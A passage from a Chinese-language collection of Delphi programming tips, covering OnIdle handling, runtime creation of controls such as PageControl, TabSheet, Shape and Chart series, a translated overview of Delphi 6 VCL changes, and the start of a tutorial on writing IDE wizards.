bm.Height := cRect.Bottom;
bm.Canvas.Font := Edit1.Font;
if bm.Canvas.TextWidth(Edit1.Text + Key) > CRect.Right then begin
Key := #0;
MessageBeep(-1);
end;
bm.Free;
end;
end;


Application的OnIdle事件

You can create an OnIdle event to be called whenever your
application is waiting for messages to be processed. Simply
declare the event handler procedure in the private section of
the forms declaration:

{ Private declarations }
procedure IdleEventHandler(Sender: TObject; var Done: Boolean);

In the implementation section, define the procedure:

procedure TForm1.IdleEventHandler(Sender: TObject;
var Done:
Boolean);
begin
{Do a small bit of work here}
Done :=
false;
end;

Then assign the Application's OnIdle event to point to your
new procedure(You may do this whereever you like, but a good
place would be the Forms OnCreate method):

Application.OnIdle := IdleEventHandler;

OnIdle is called only once, as the application transitions into
an idle state. It is not called continuiously unless Done is
set to False. If Done is False, WaitMessage is not called.
Applications that set Done to False consume an inordinate
amount of CPU time that affects overall system performance.

You can set the boolean variable "done" to true when you want
to stop the event handler from executing.


防止TScrollBar闪动

 scrollbar1.tabstop:=false


动态创建PageControl、TabSheet

var
T : TTabSheet;
P : TPageControl;
begin
// Create the PageControl
// need to reference the page control so we need a reference to it.

P := TPageControl.Create(application);
with P do begin
Parent := Form1; // set how controls it.
Top := 30;
Left := 30;
Width := 200;
Height := 150;
end; // with TPageControl

// Create 3 pages
T := TTabSheet.Create(P);
with T do begin
Visible := True; // This is necessary or form does not repaint
// correctly
Caption := 'Page 1';
PageControl := P; // Assign Tab to Page Control
end; // with

T := TTabSheet.Create(P);
with T do begin
Visible := True; // This is necessary or form does not repaint
// correctly
Caption := 'Page 2';
PageControl := P; // Assign Tab to Page Control
end; // with

  T := TTabSheet.Create(P);
with T do
begin
Visible := True;   // This is necessary or
form does not repaint
// correctly
Caption := 'Page 3';
PageControl := P;  // Assign Tab to Page Control

end; // with

// Create 3 buttons, 1 per page
with tbutton.create(application) do begin
Parent := P.Pages[0]; // Tell which page owns the Button
Caption := 'Hello Page 1';
Left := 0;
Top := 0;
end; // with

with tbutton.create(application) do begin
Parent := P.Pages[1]; // Tell which page owns the Button
Caption := 'Hello Page 2';
Left := 50;
Top := 50;
end; // with

with tbutton.create(application) do begin

    Parent := P.Pages[2];  // Tell which page owns the
Button
Caption := 'Hello Page 3';
Left := 100;
Top :=  90;
end;
// with

    // This needs to be done or the Tab does not sync to the
// correct page, initially.  Only if you have more
then
// one page.
P.ActivePage :=
P.Pages[1];
P.ActivePage := P.Pages[0];  // page to really show
end;


动态生成控件的方法及应用

一、Delphi中生成控件的两种方法

---- 1、 Form(表单)设计中生成控件

---- 在进行Form设计时，直接在控件工具箱选择所需控件，再设置其属性与响应事件，这种方法比较常见。

---- 2、 程序中动态生成控件

---- 有时候，我们需要在程序运行时动态生成控件，这样做有两大优点：一是可以增加程序的灵活性；二是如果生成控件的多少与程序中间运行结果相关，显然方法一是无法的实现的，必须用程序中动态生成方法。

---- 程序中动态生成控件的方法分为三步，首先，定义生成的控件类型，再用Create函数生成控件，最后对控件的相关属性赋值。以TButton控件为例，步骤如下：

---- (1) 定义控件类型

var
Button1:TButton;

---- (2) 生成控件

Button1:=TButton. Create(self);
Button1.Parent:=Self;
//一般将其父控件设置为Self,如果不设置Parent的值，
则控件不会在屏幕
//显示出来

---- (3) 设置其它属性及定义相关事件响应函数，如Caption,Left,Top,Height,Width,Visible,Enabled,Hint和onClick事件响应函数等。

二、动态生成控件方法的应用

---- 在开发生产调度与管理系统中，需要动态生成排产计划图，以甘特图表示，应用Shape控件来显示零件的加工状况(每道工序的加工开始时间与结束时间)是非常适合的。应用Chart控件，对加工设备利用率以三维直方图显示，非常直观。现分别将在程序中动态生成Shape控件和Chart控件的过程加以说明。

---- 1、动态生成Shape控件显示排产计划图(甘特图)

    procedure
TCreateMultiCharts.ProcCreateCharts;
var
i,j,Rows,Columns,RowSpace,ChartsHeight:Integer;
ShapeChart:array of array of
TShape;
begin
Rows:=16;
//Shape控件数组行数
Columns:=8;      //
Shape控件数组列数
RowSpace:=20;   //
Shape控件行间距
ChartsHeight:=20; //
Shape控件高度
SetLength(ShapeChart,Rows,Columns);
//设置ShapeChart数组大小
for i:=0
to Rows do
for j:=0 to Columns
do
begin
ShapeChart[i][j]:=TShape.Create(self);
with
ShapeChart[i,j] do
begin
Parent:=Self;
//此行必不可少,
否则Shape控件在屏幕显示不出
Shape:=stRectangle;
// Shape控件形状为矩形
Top:=45+i*(RowSpace+ChartsHeight);
Left:=Round(180+Q[i,j].StartTime);
//因Q[i,j].StartTime为实数,故需进行四舍五入取整
Width:=Round(Q[i,j].Value)
Height:=ChartsHeight;
Brush.Color:=RandomColor;
//自定义函数，说明附后
Brush.Style:=bsSolid;
//设置填充方式
Enabled:=True;
end;
end;
end;

---- 注:

---- (1)Q为一记录型二维数组,定义如下:

type
TempData=Record
Value:Real;
StartTime:Real;
end;
Q:array of array of TempData

---- 并且在另一过程已对Q的分量进行赋值。

---- (2)为了区分不同的零件，Shape以不同颜色显示，此时，调用了函数RandomColor。该函数为：

   function TCreateMultiCharts.RandomColor;
var
red,green,blue:byte;
begin
red:=random(255);
green:=random(255);
blue:=random(255);
result:=red or (green
shl 8) or (blue shl 16);
end;
---- 2、动态生成Charts控件的ChartSeries组件，显示设备利用率

procedure
TFormMultiMachinesBurthen.
ShowMachineBurthenCharts;
var
i:Integer;
Burthen:Real;
SeriesClass:TChartSeriesClass;
NewSeries:array of TChartSeries;
begin
SetLength(NewSeries,CreateMultiCharts.Rows);
MachinesBurthenCharts.height:=200;
MachinesBurthenCharts.Width:=550;
for i:=0 to CreateMultiCharts.Rows
do
begin
SeriesClass:=TBarSeries;
//设置形状为三维条形图
NewSeries[i]:=SeriesClass.Create(Self);
NewSeries[i].ParentChart:=MachinesBurthenCharts;
NewSeries[i].Clear;
Burthen:=MachineBurthen[i];
Burthen:=Round(Burthen*100)/100;  //只取小数点后两位数字
NewSeries[i].add(Burthen,'',NewSeries[i].SeriesColor);
end;
end;

---- 注：

---- (1) MachineBurthen[i]为一实型数组，其值为对应设备的利用率，已在另一函数中计算得到；

---- (2) MachinesBurthenCharts为TChart控件，在type段说明。


运行时生成控件

    ㈠、运行时生成可视控件：以下以TEdit 控件为例
1.在Form的Public中定义TEdit控件
    Edit1:TEdit;
2.在需要生成的地方加入以下代码：
    Edit1:=TEdit.Create(Self);
    Edit1.Parent:=Form1;
    Edit1.Left ?:=20;
    Edit1.Top :=20;
    Edit1.Text :='Edit1 Text';
3.使用完毕后，释放分配的资源
    if? Assigned(Edit1) then Edit1.Free; ?
    ㈡、运行时生成非可视控件：以下以 TTimer控件为例
1.在Form的Public中定义TTimert控件
    Timer1:TTimber;
2.在需要生成的地方加入以下代码：
    Timer1:=TTimer.Create(Self);
    Timer1.OnTimer:=YourAction;
YourAction是自己定义的OnTimer事件，使用
procedure TForm1.YourAction(Sender:TObject); 完成

3.使用完毕后，释放分配的资源
    if? Assigned(Timer1) then Timer1.Free; ?


动态建立不常用的对象

    不常使用的对象，例如一个About对话框应该只在需要的时候来动态地建立，这样可以避免浪费资源。举便来说，假定你建立了一个应用程序，并为其建立了一个About对话框，则生成的代码将在程序初始化建立主Form时也一并建立了About对话框的Form以及其关对象，这个About对话框将一直占用部分资源直到程序结束，即使用户从未激活这个About对话框。
    较好的做法是让Delphi在建立主Form时不自动建立About对话框（或其他不常用的对象），激活Delphi主菜单的“Project”-“Options...”项，选取“Application”页，你会看到有两个列表框，左边列表框中的项目表示在程序初始化时将自动建立的所有Form，选择除主Form外的其他Form，单出“>”按钮，将这些不需要在程序初始化时与主Form一并建立的东西全部移动右边的列表框中，这样，你的应用程序在初始化时就只建立主窗口，而不是自动建立一大堆用户可能从不访问的窗口。

    下面的代码段说明了怎样动态地建立并激活一个About对话框：

procedure MainForm.AboutItemClick(Sender:TObject);
begin
with
TAboutBox.Create(Application) do begin
try
ShowModal;
finally
Free;
end;
end;
end;

    上例动态地建立了一个TAboutBox类的Form，然后以MODAL方式来激活这个Form，其间无论出现什么错误，都保证会释放该动态对象所占的资源。


Delphi 6 新特性-VCL单元变化及特性

Delphi 6 新特性

原著：Borland Corporation

翻译：Musicwind®

开始日期：2001-07-13

结束日期：2001-07-14 （完成VCL单元变化及特性）

声明：

以下文章的内容取自Delphi 6附带的帮助文件。

版权所有Borland Corporation。

翻译此稿事先没有得到Borland的批准，鲁莽之处，恳请Borland多多原谅。

有什么新鲜的?

Delphi 6新增了一些特性并增强了原有的功能，主要有以下几个方面：

IDE（整合开发环境）

Internet

XML（扩展标记语言）

Compiler（编译器）

COM/Active X

Database support（数据库支持）

CORBA

Actions（动作）

Custom Variants（可定义的可变类型）

VCL 单元和特性

RTL单元和特性

Cross-platform development（跨平台开发）

Translation tools（翻译工具）

Deployment changes（发布机制）

Help system extensibility（扩展的帮助系统）

注意：某些特性不是所有Delphi版本都有。

VCL单元及特性

新的VCL单元以及新的特性（所有版本）

新增组件：

TLabeledEdit

TLabeledEdit是ExtCtrls.pas单元中新增加的，它演示了如何使用子组件。TLabeledEdit是一个带有标签的编辑控件。标签（Label）是这个控件的属性之一。

TValueListEditor

ValueListEditor 是一个自定义的栅格组件，它使用TStrings保存键/值配对。它的工作方式类似于对象检视器（Object Inspector）。

TComboBoxEx

TComboBoxEx是一个新的组合框控件，它允许在列表文字的旁边出现图片。

TColorBox

TcolorBox是一个新的组合框组件，用来选择各种颜色。

改进的特性包括：

大多数窗口控件（WindowControl）都发布了以下Bevel相关属性：

BevelEdges

BevelInner

BevelOuter

BevelKind

BevelWidth

子组件(Subcomponents)

现在，组件可以拥有创建子组件的其他组件。举例来说，一个组件可以有一个组件引用的属性，这个被引用的组件，可以是内部的（也就是一个子组件），也可以是外部的（普通的组件引用）。如果引用的是内部的组件，则这个子组件的不被Form所拥有，而是被放置在Form上的组件所拥有。这意味着组件可以将其内部的子组件发布出来，并且能够被正确的流化。并且，对象检视器已经被修改为支持查看组件内部的子组件属性（比如Font属性）。要创建一个有子组件的组件，需要调用TComponent.SetSubComponent方法。

可发布的接口属性(Publishable interface properties)

接口属性（该属性的类型是一个接口）现在已经可以被发布，当且仅当这个接口的实现的类是一个可以流化的组件。

这意味着现在你可以在对象检视器中看到接口类型的属性，并且将会出现一个支持此接口的组件列表以供选择。

新增单元及变动

CheckLst.pas

TcheckListBox增加了几个新的属性，包括AutoComplete，HeaderColor以及HeaderBackGroundColor。

Classes.pas

TList有一个新的Assign方法，不仅完成拷贝功能，也支持一些简单的集合操作。

TCollection新增两个受保护的方法，用来允许派生的类对于增加和删除条目的操作作进一步的处理。这两个新方法是Added和Deleting，两者都没有缺省的实现。为了保持TCollection的精简，没有增加OnAdded和OnDeleting事件。然而，在派生类中却很容易实现这些。此外，TCollection新增一个Owner属性以便对拥有者进行标识。

TStringList新增属性CaseSensitive(大小写敏感)，允许你控制子串列表的各项操作（排序，匹配）是否大小写敏感。

TDataModule从Forms单元移到现在这个单元中（Classes.Pas），去处了对可视化控件的依赖。这使得你可以在不包含用户界面的情况下写出更小的服务段应用。

Thread新增FatalException属性，以标识任何导致线程正常运行的异常。

TStream重载了Seek（搜索）函数，允许Int64类型的值来标识位置。派生的类可以覆盖其中一个重载，但不能覆盖所有。

TinterfacedPersistent是一个新的持久对象的基类，不是组件，但是可以实现接口。

ComCtrls.pas

TtreeView的CreateTreeNodes方法是新增加的。

简单的节点的创建，并且增加了一个事件，使得Tree的使用这不必为了要覆盖节点的类而去重新创建一个派生类。并且AddNode也作了修改，让你可以将你想要加入的节点（任何类型）传递给它。

增加一个OnAddition事件，该事件在节点被增加时触发。

TreeView的排序Api作了增强（功能上）和简化（使用上）。现在你可以对子树进行递归排序，对顶层节点进行非递归的排序。TCustomTreeView和TTreeNode类现在对AlphaSort和CustomSort提供了一致的定义，并且这些方法同时被增加到TTreeNodes中。所有的改动都是后台的，与前一版本保持兼容。

增加MultiSelect(多选)相关四个属性以及八个方法。

TListView新增了CreateListItems方法，该方法与TTreeView的CreateTreeNodes类似。

TStatusBar-可调整大小的夹子现在可以显示，即使状态栏的父亲不直接是Form。只要状态条的右下角处于Form的右下角位置，则该夹子显示。

TDateTimePicker新增Format属性，用于控制日期值的显示方式。

THeaderControl新增许多新的属性和事件以支持列的拖放。一个新属性HotTrack允许当用户的鼠标在顶部区域上停留时，该区域以高亮显示。

TToolBar新增Menu属性，可以自动在工具条上添加与Menu的菜单项对应的许多按钮。当用户使用定制对话框来定制工具条时，会有一系列的事件触发。

Contnrs.pas

Last（最后）和First（最先）两个函数(属性)被增加到TObjectList，TComponentList以及TClassList中。这些函数的返回值依类的不同而不同。

TStack（栈），TQueue（队列），TObjectStack（对象栈）以及TObjectQueue（对象队列）的Push现在改为一个函数，简单的返回被推入到栈（或者队列）中的对象。就像推入，然后查看一样。当要推入在推入时刚创建的对象时，这一点非常有用（译者注：其实这一点，Borland应该早就考虑到才是!）。

TBucketList和TObjectBucketList是简单的哈希表。

Controls.pas

TCustomListControl是一个新的公用基类，用于表达一组条目的列表控件（比如组合框，列表框和列表视图等）。它引入了一些新的方法用于操纵将要被子孙类继承的列表。

TDragObjectEx，TDragControlObjectEx以及TDragDockObjectEx是三个新的拖拽对象，拖拽操作结束后，它们可以自动释放。他们对应于TDragObject，TDragControlObject和TDragDockObject，区别在于老的版本不能够在拖放操作完成时自动释放。

TControl新增两个方法：ClientToParent和ParentToClient，用来在父亲与子女之间换算坐标。工作方式与ClientToScreen和ScreenToClient类似。

TWinControl新增一个重载的方法PaintTo，参数改为Canvas（画布）而非HDC（设备描述表句柄）。

TModalResult被移至Forms.pas中。此外，增加以下几个支持函数：

function IsPositiveResult(const AModalResult: TModalResult): Boolean;

function IsNegativeResult(const AModalResult: TModalResult): Boolean;

function IsAbortResult(const AModalResult: TModalResult): Boolean;

function IsAnAllResult(const AModalResult: TModalResult): Boolean;

function StripAllFromResult(const AModalResult: TModalResult): TModalResult;

DbCtrls.pas

TDBLookupListBox和TDBLookupComboBox新增NullValueKey属性，允许用户使用空值(Null)赋值。

TDBComboBox新增AutoComplete（自动完成）和AutoDropDown（自动下拉）属性。

TDBListBox也新增AutoCompelete属性。

TOpenDialog新增OptionsEx属性(译者注：该属性用来设置是否出现win2000特有的位置工具条)，同样，保存对话框也新增此属性。

ExtCtrls.pas

TImage-Proportional(比例)属性被增加，用于控制图像的高宽比而不论图像控件的尺寸如何。

Forms.pas

TApplication（以及TApplicationEvents）新增OnSettingChange事件，用来通知系统设置的改变。

TForm新增AlphaBlend，AlphaBlendValue，TransparentColor以及TransparentColorValue等属性以支持分层的Form。

TScreen提供了获取桌面工作区大小的一系列属性（WorkAreaRect，WorkAreaTop，WorkAreaLeft，WorkAreaHeight，WorkAreaWidth）。另外，还有一系列的新方法允许你定位哪个监视器更加与点，矩形，或者窗口相匹配。

TMonitor扩展了多监视器的支持，提供了当前的主监视器，WorkareaRect以及BoundsRect等属性。

新增AutoDragDocking（自动停靠）支持。这一特性允许你关闭应用程序的自动停靠功能。另外，在Delphi的选项设置对话框中允许你修改这么一个标志。

TModalResult声明被移到Control.pas单元中。

Graphics.pas

新增TFontRecall, TPenRecall 和 TBrushRecall三个新类，允许你快速存取font（字体），pen（画笔）和brush（刷子）。他们均从TRecall(在Classes单元中声明)派生而来，TRecall需要与TPersistent一起使用。

系统颜色经过排序便于查找。

在原先16种颜色的基础上新增4个：

clMoneyGreen

clSkyBlue

clCream

clMedGray

ImgList.pas

Draw，DrawOverlay和GetIcon方法均被加上Overload（重载）标记，便于你覆盖图像列表的属性设置。

IniFiles.pas

Ini文件开始支持使用流读写二进制数据。

TMemIniFile支持控制子串是否大小写敏感。

THashedStringList是一个新的TStrings的派生类，使用内部的哈希(杂凑)表提高访问速度。

Masks.pas

EditMask（掩码编辑框）和文本使用自定义类型因此他们的属性编辑器更加有用。

Menus.pas

TMenuItem增加一个AutoCheck(自动标记)属性，用来标记当用户点及菜单条目时，是否自动在已经标记和未标记之间切换。

Registry.pas

TRegistry开始支持使用流读写二进制数据。

StdCtrls.pas

OnCloseUp和OnSelect事件被增加到TCustomComboBox中（TComboBox也一样）。OnCloseUp事件在组何况的下拉列表关闭时触发（与OnDropDown触发的时机相反）。OnSelect在列表的东西被选中时触发（或者当上下滚动可选值时使得组合框的内容被改变时）。组合框新增AutoCompelete属性，缺省为True。

TListBox新增对两个风格的属性：lbVirtual和lbVirtualOwnerDraw。两个风格用于支持虚的列表框，即不保存任何条目。通过设置Count属性可以指定条目的个数，然后在OnData，OnDataFind，和OnDataObject事件中提供条目（以及相关的对象）。

TypInfo.pas

现在调用对象的GetPropInfo方法是安全的了。假如对象没有任何RTTI信息，则简单的返回nil。

增加FreeAndNilProperties。它将释放(free)并且置空(nil)支持RTTI的对象的所有对象属性。注意它将对所有的对象，包括引用的对象进行此项操作，所以最好先将被引用的对象释放，置空。


如何编写专家向导

怎样编写DELPHI向导(一)

本文没有完整的版权信息, 从内容看来, 应该是 The Revolutionary Guide to Delphi 2
一书的作者所著.而且似乎很老, 看来是 Delphi 3 时期作写, 因此有些内容有点过时, 但仍然很有参考价值.

翻译: 李颖(e.w@263.net)

Delphi 和 C++Builder 是真正开放的开发环境, 在 Delphi 和 C++Builder 中提供了
接口, 使得用户可以将自己的工具和专家集成到 IDE 中.
本文将主要讨论 Delphi 向导(Wizards 以前也叫专家(Experts))的开发和集成.
本文产生的(32位)向导兼容于 Delphi 2.0 以上版本及 C++Builder.Delphi 包括4种向导: 工程(Project)专家, 窗体(Form)专家, 标准专家, 及(仅限于32位)插入式(AddIn)专家.前两种可以在专家库(Repository)中找到, 标准专家可以在 Help 菜单内找到(比如 Database Form Expert),插入式专家则在 Delphi IDE 中提供它们自己的菜单界面(可以在菜单的任何位置, Help 菜单除外,似乎Help 菜单被保留为只供标准专家使用).

工程专家和窗体专家在你创建新的工程或新的窗体时被激活(就好象工程和窗体模板一样).
标准专家和插入式专家则不同, 一般不会创建新的工程或窗体,而是提供某种类型的信息, 或者只创建新的文件或单元.如果你曾经使用过向导, 你应该知道它为你带来的能力和方便. ease they can bring工程向导根据你选择的参数为你创建完整的工程(比如 Application Wizard).窗体向导则在你的当前工程中加入定制的窗体.
比如, Database Form Expert 产生一个显示外部数据库数据的窗体.
这些向导不仅仅是一种能被 Delphi 启动的外部工具,它们实际上是作为开发环境的一部分与 Delphi 本身交互的.这对于那些已经存在的 Delphi 专家来说并不奇怪(毕竟它们是由开发 Delphi 的同一组人编写并插入的,而且我们都知道 Delphi IDE 本身也是用 Delphi 编写的),但至少引起了我们的兴趣: 我们也可以编写 Delphi 向导, 并通过同样的方式与 Delphi 交互.我们能够编写一个向导吗: 在 IDE 中打开文件, 开始一个新工程?
是的, 我们能够, 所有这些(以及更多的)问题我们都将很快看到!

1. TIExpert 接口

编写自己的向导的主要困难在于: 手册和在线帮助中都没有没有公开的文档,
(在我的书 The Revolutionary Guide to Delphi 2 和我在 The Delphi Magazine 专栏公开了这些文档).如果你手中有包括这些文档的书, 硬盘上有这些源代码,
你会发现一些重要的文件, 甚至还有2个 Delphi 本身自动安装的向导示例.
重要的文件可以在子目录 Doc, Source\VCL 和 Source\ToolsAPI 下找到,
主要件是 ExptIntf.pas, ToolIntf.pas, VirtIntf.pas 以及 ShareMem.pas.
ExptIntf.pas 展示了如何驱动并注册我们自己的向导,ToolIntf.pas 则展示了如何使用 Delphi 的 Tool-Service 实现与 IDE 的集成.

要开始一个定制向导的工作, 我们先来看看 ExptIntf.pas 中定义的抽象基类 TIExpert,
在32位 Delphi 中定义如下:

Type
TExpertStyle = (esStandard, esForm, esProject,
esAddIn);

TExpertState = set of (esEnabled,
esChecked);

TIExpert = class(TInterface)
public
{ Expert UI strings }
function GetIDString: string; virtual; stdcall;
abstract;

function GetName: string; virtual;
stdcall; abstract;

function GetAuthor: string;
virtual; stdcall; abstract;

function GetStyle:
TExpertStyle; virtual; stdcall; abstract;

function GetMenuText: string; virtual; stdcall;
abstract;

function GetState: TExpertState;
virtual; stdcall; abstract;

function GetGlyph:
HICON; virtual; stdcall; abstract;

function
GetComment: string; virtual; stdcall; abstract;

function GetPage: string; virtual; stdcall;
abstract;

{ Launch the Expert }
procedure Execute; virtual; stdcall;
abstract;

end;
怎样编写DELPHI向导(二)

2. TGenericExpert: Hello, World!

如果要驱动我们自己的向导(命名为 TGenericExpert), 我们必须从抽象基类 TIExpert 中继承,
TIExpert 中包括7个或9个抽象的成员函数(GetStyle, GetName, GetComment, GetGlyph, GetState,
GetIDString 以及GetMenuText, 对于32位版本的 Delphi 还有 GetAuthor 和 GetPage)
和1个抽象的成员过程 Execute.
由于 TIExpert 是一个抽象基类, 因此对于任何一个向导我们都需要重载所有需要的成员函数.

unit Generic;
interface
uses
Windows, ExptIntf;

Type
TGenericExpert = class(TIExpert)
public
{ Expert Style }
function GetStyle: TExpertStyle; override;

{ Expert Strings }
function GetIDString: string; override;
function GetName: string; override;
function GetAuthor: string; override;
function GetMenuText: string; override;
function GetState: TExpertState; override;
function GetGlyph: HICON; override;
function GetComment: string; override;
function GetPage: string; override;

{ Expert Action }
procedure Execute; override;
end;

procedure Register;

implementation
uses
Dialogs;

{ TGenericExpert 的实现细节在后面的文档中 }

procedure Register;
begin
RegisterLibraryExpert(TGenericExpert.Create)
end {Register};
end.

现在我们更近地看一看我们这个派生的向导.
由于 TIExpert 是一个抽象基类, 我们需要为 TGenericExpert 重载所有需要用到的成员函数.
首先, 我们需要通过 GetStyle 方法指定向导类型
这个方法可以返回3(或4)个可能的值:
esStandard 告诉 IDE 将这个向导接口视为 Help 菜单中的一项,
esForm 告诉 IDE 将这个向导接口视为窗体模板,
esProject 告诉 IDE 将这个向导接口视为项目模板.
对于32位版本的 Delphi 向导, 还可以返回 esAddIn,
表示这是一个通过 TIToolServices 接口控制自身的界面的向导.
对于我们的 TGenericExpert, 只打算显示一个消息对话框, 因此使用 esStandard 类型.

function TGenericExpert.GetStyle: TExpertState;
begin
Result := esStandard;
end {GetStyle};

设置向导类型之后, 我们需要设置其他信息.
GetName 方法应该返回一个唯一的描述名称标识这个向导, 比如 'Generic Wizard'.

function TGenericExpert.GetName: String;
begin
Result := 'Generic Wizard'
end {GetName};

对于32位版本的 Delphi, 如果类型是 esForm 或 esProject,
那么, 我们需要返回一个有效的作者名称.
现在, 类型是 esStandard, 因此我们可以只返回一个空字符串.
对于 esForm 或 esProject 类型的向导, 这个名称将显示在32位版本的 Delphi 的专家库中.

{$IFDEF WIN32}
function TGenericExpert.GetAuthor:
String;
begin
Result := 'Bob Swart
(aka Dr.Bob)' {尽管对于 esStandard 类型不是必要的}
end {GetAuthor};
{$ENDIF}

如果类型是 esForm 或 esProject,
则 GetGlyph 方法应该返回一个 Bitmap(Delphi 1) 句柄或 Icon(Delphi 2.0x, 3) 句柄,
相应的位图或图标将显示在窗体或工程列表对话框中.
位图大小应该是 60x40 像素, 16色,
图标大小应该是 32x32 像素, 16色.
由于我们的 TGenericExpert 是 esStandard 类型, 因此我们在这里返回0.
下面的代码结合了16位和32位 Delphi 下的情况,
0是有效的, 表示位图/图标为空.
注意, 如果需要位图/图标, 但我们返回0, Delphi 将使用缺省的图象.

{$IFDEF WIN32}
function TGenericExpert.GetGlyph: HICON;
{$ELSE}
function TGenericExpert.GetGlyph: HBITMAP;
{$ENDIF}
begin
Result := 0 { 对于 esStandard 类型不需要}
end {GetGlyph};

如果类型是 esForm 或 esProject,
则 GetComment 应该返回1到2行信息, 描述向导的功能.
由于是 esStandard 类型, 我们返回空字符串.

function TGenericExpert.GetComment: String;
begin
Result := '' { 对于 esStandard 类型不需要}
end {GetComment};

对于32位版本的 Delphi, 如果类型是 esForm 或 esProject,
通过 GetPage 方法我们可以指定向导在专家库中的所处的页面名称
如果不指定, 向导将放到缺省的 Form 页 或 Project 页.
由于我们编写的是一个 esStandard 类型的专家,
我们不需要指定页面名称, 因此返回空字符串.

{$IFDEF WIN32}
function TGenericExpert.GetPage:
String;
begin
Result := '' { 对于
esStandard 类型不需要}
end {GetPage};
{$ENDIF}

如果类型是 esStandard,
则 GetMenuText 方法应该返回显示在菜单项上的实际文字, 比如 'Generic Wizard'.
由于菜单每次下拉时都会调用这个方法, 因此甚至可以提供上下文相关的文字.

function TGenericExpert.GetMenuText: String;
begin
Result := '&Generic Wizard...'
end {GetMenuText};

如果类型是 esStandard,
则如果 GetState 方法返回值包括 esChecked, 菜单项前将显示一个选择标记(Check Mark).
向导每次在菜单或列表中显示时会调用这个方法, 以便确定应该如何显示.
我们现在只返回 esEnabled.

function TGenericExpert.GetState: TExpertState;
begin
Result := [esEnabled]
end {GetState};

最后, 当向导通过菜单, 窗体对话框, 工程对话框被调用时,
Execute 方法将被调用.
注意, 对于 esAddIn 类型的向导 Execute 方法绝对不会被调用.
esAddIn 类型的向导将通过 TIToolServices 接口控制自己的界面.
TIToolServices 接口后面将要讲到.
向导类型决定向导将如何被调用,
在这个例子中, 我们在 Execute 方法中只调用 MessageDlg, 表示向导的确在工作.

procedure TGenericExpert.Execute;
begin
MessageDlg('Hello Nashville!', mtInformation, [mbOk], 0)

end {Execute};

要安装我们的第一个向导, 就和安装一个新的组件一样, 需要做以下工作:
对于 Delphi 1.0, 选择 Options | Install,
对于 Delphi 2.0x, 3, 选择 Component | Install,
并将其加入到已安装的组件列表中.
Delphi 1, 2 只简单地将向导加入到组件库中,
Delphi 3 则需要将其加入到包中(缺省的包是DCLUSR30):
(注: 这里似乎应该有图片, 但我手中的文件没有)

按下 OK 按钮, 将我们的 GenericExpert 的单元加入到 DCLUSR30 包之后,
我们需要确认 Delphi 重新编译包:
(注: 这里似乎应该有图片, 但我手中的文件没有)

包被重新编译并安装到 Delphi IDE 中之后,
查看包编辑器, 可以看到 GenericExpert 的单元已经成为包的一部分了.
这个简单的例子表明了包不仅仅能用于组件, 也可以包含向导.

但 Delphi 完成了 COMPLIB.DCL 或 DCLUSR30.DPL 的编译和链接工作后,
你可以在 Help 菜单中看到我们的第一个新的向导:
(注: 这里似乎应该有图片, 但我手中的文件没有)

选择 "Generic Wizard" 项, 向导将显示它的确在工作:
(注: 这里似乎应该有图片, 但我手中的文件没有)

如我们所见的那样, 只有 Execute 方法包含有实际意义的代码,
后面的其他向导也是如此.
由于只有一个方法比较重要, 为了在这里不附加太多的源代码,
我计划使用下面这种方法: 用表格来表示上述9个方法,
而只列出 Execute 方法的细节.
我们的 TGenericExpert 将表示为:

TGenericExpert
GetStyle: esStandard
GetIDString: DrBob.TGenericExpert
GetName: Generic Wizard
GetAuthor (win32): Bob Swart (aka Dr.Bob)
GetMenuText: &Generic Wizard...
GetState: [esEnabled]
GetGlyph: 0
GetPage (win32):
GetComment:

而只列出 Execute 方法的细节(见前文).
我们将在本文的其余部分也使用这种方式.

怎样编写DELPHI向导(三)

3. TSysInfoExpert

除了简单的弹出消息框, 我们还能够显示根据需要显示窗体.
实际上, 有趣的事情就从这里开始.
一般来说, 可以认为我们的向导由两部分组成: 向导引擎和窗体界面.
我们已经讨论了如何编写向导引擎, 而且我们也知道如何编写窗体界面,
因此, 我们将把这两部分合在一起, 再来编写一个多少有点实际用途的向导.
我希望在这个向导中显示的信息可以在 SysUtils 单元中找到:
(与国家设置相关的)货币符号和日期/时间格式常数.
在线帮助中可以找到 SysUtils 单元中定义的这些常数, 但我们看不到它们的取值.
这很不幸, 但当我们进行时, 大多数情况下 Delphi 本身是处于运行状态的,
因此 SysUtils 单元是活动的(记住: Delphi 也是用 Delphi 编写的!)并且可以得到这些常数的取值.

因此, 使用 Dialog Expert, 我们可以创建一个多页的对话框,
使用一个 TabControl, 并给三各页面命名为 "Currency", "Date" 和 "Time".
然后, 我们在页面上放置几个 TLabel, 将 AutoSize 属性设置为 False,
并将其大小设置为和整个 TabControl 一样大(以便显示多行信息).
相应的源代码只负责在窗体创建后(在OnCreate 相应代码中)在适当的位置赋上适当的取值,
因此这个 SysInfo 向导的接口部分没有任何复杂之处.
TSysInfoExpert 的引擎部分如下:

TSysInfoExpert
GetStyle: esStandard
GetIDString: DrBob.TSysInfoExpert
GetName: SysInfo Wizard
GetAuthor (win32): Bob Swart (aka Dr.Bob)
GetMenuText: &SysInfo Wizard...
GetState: [esEnabled]
GetGlyph: 0
GetPage (win32):
GetComment:

SysInfo 向导的 Execute 方法也很简单, 我们要作的就是创建, 显示, 并释放一个包含我们想要的信息的窗体.
Execute 过程的源代码如下:

procedure TSysInfoExpert.Execute;
begin
with TSysInfoForm.Create(nil) do
begin
ShowModal;
Free
end
end {Execute};

很快, 我们得到了第一个"有用"的向导, 能在设计期间显示信息, 而不能其他任何方式使用.

这只是我们许多示例的第一个, 在后面的示例中我们将看到向导显示一个窗体界面,
并通过该窗体向用户显示(或设置)信息.
这些信息的来源(或设置的提交对象)之一是 Delphi 在 TIToolServices 类中提供给我们的称为为 ToolServices 的接口.

怎样编写DELPHI向导(四)

4. ToolServices

我们已经详细讨论了可爱但功能贫乏的向导,
为了编写真正有用的向导, 我们需要在 Execute 方法中做一些实际的事情.
比如显示一个(或者多个)有趣的窗体, 其中可能发生许多事情,
有点象我们介绍的 TSysInfoExpert.
你是否曾经觉得需要在 IDE 中载入不同于 .dpr 文件的工程? 没有过吗?
使用 Delphi 编写过 DLL 吗?
我就经常需要在 IDE 中把 .pas 或其他任何非 .dpr 文件作为一个工程打开.
实际上, 我的需求太大, 我希望编写一个向导,
能帮助我浏览整个磁盘, 目录, 搜索某些文件, 并作为新的工程打开.
可能作到吗? 要回答这个问题, 我们需要看看 Delphi 1.0 的 ToolIntf.pas 单元,
其中包含 TIToolServices 的定义("I" 表示接口), 如下:

unit ToolIntf;
interface
uses
WinTypes, VirtIntf;

Type
TIToolServices =
class(TInterface)
public
{ Action
interfaces }
function CloseProject: Boolean;
virtual; export; abstract;

function
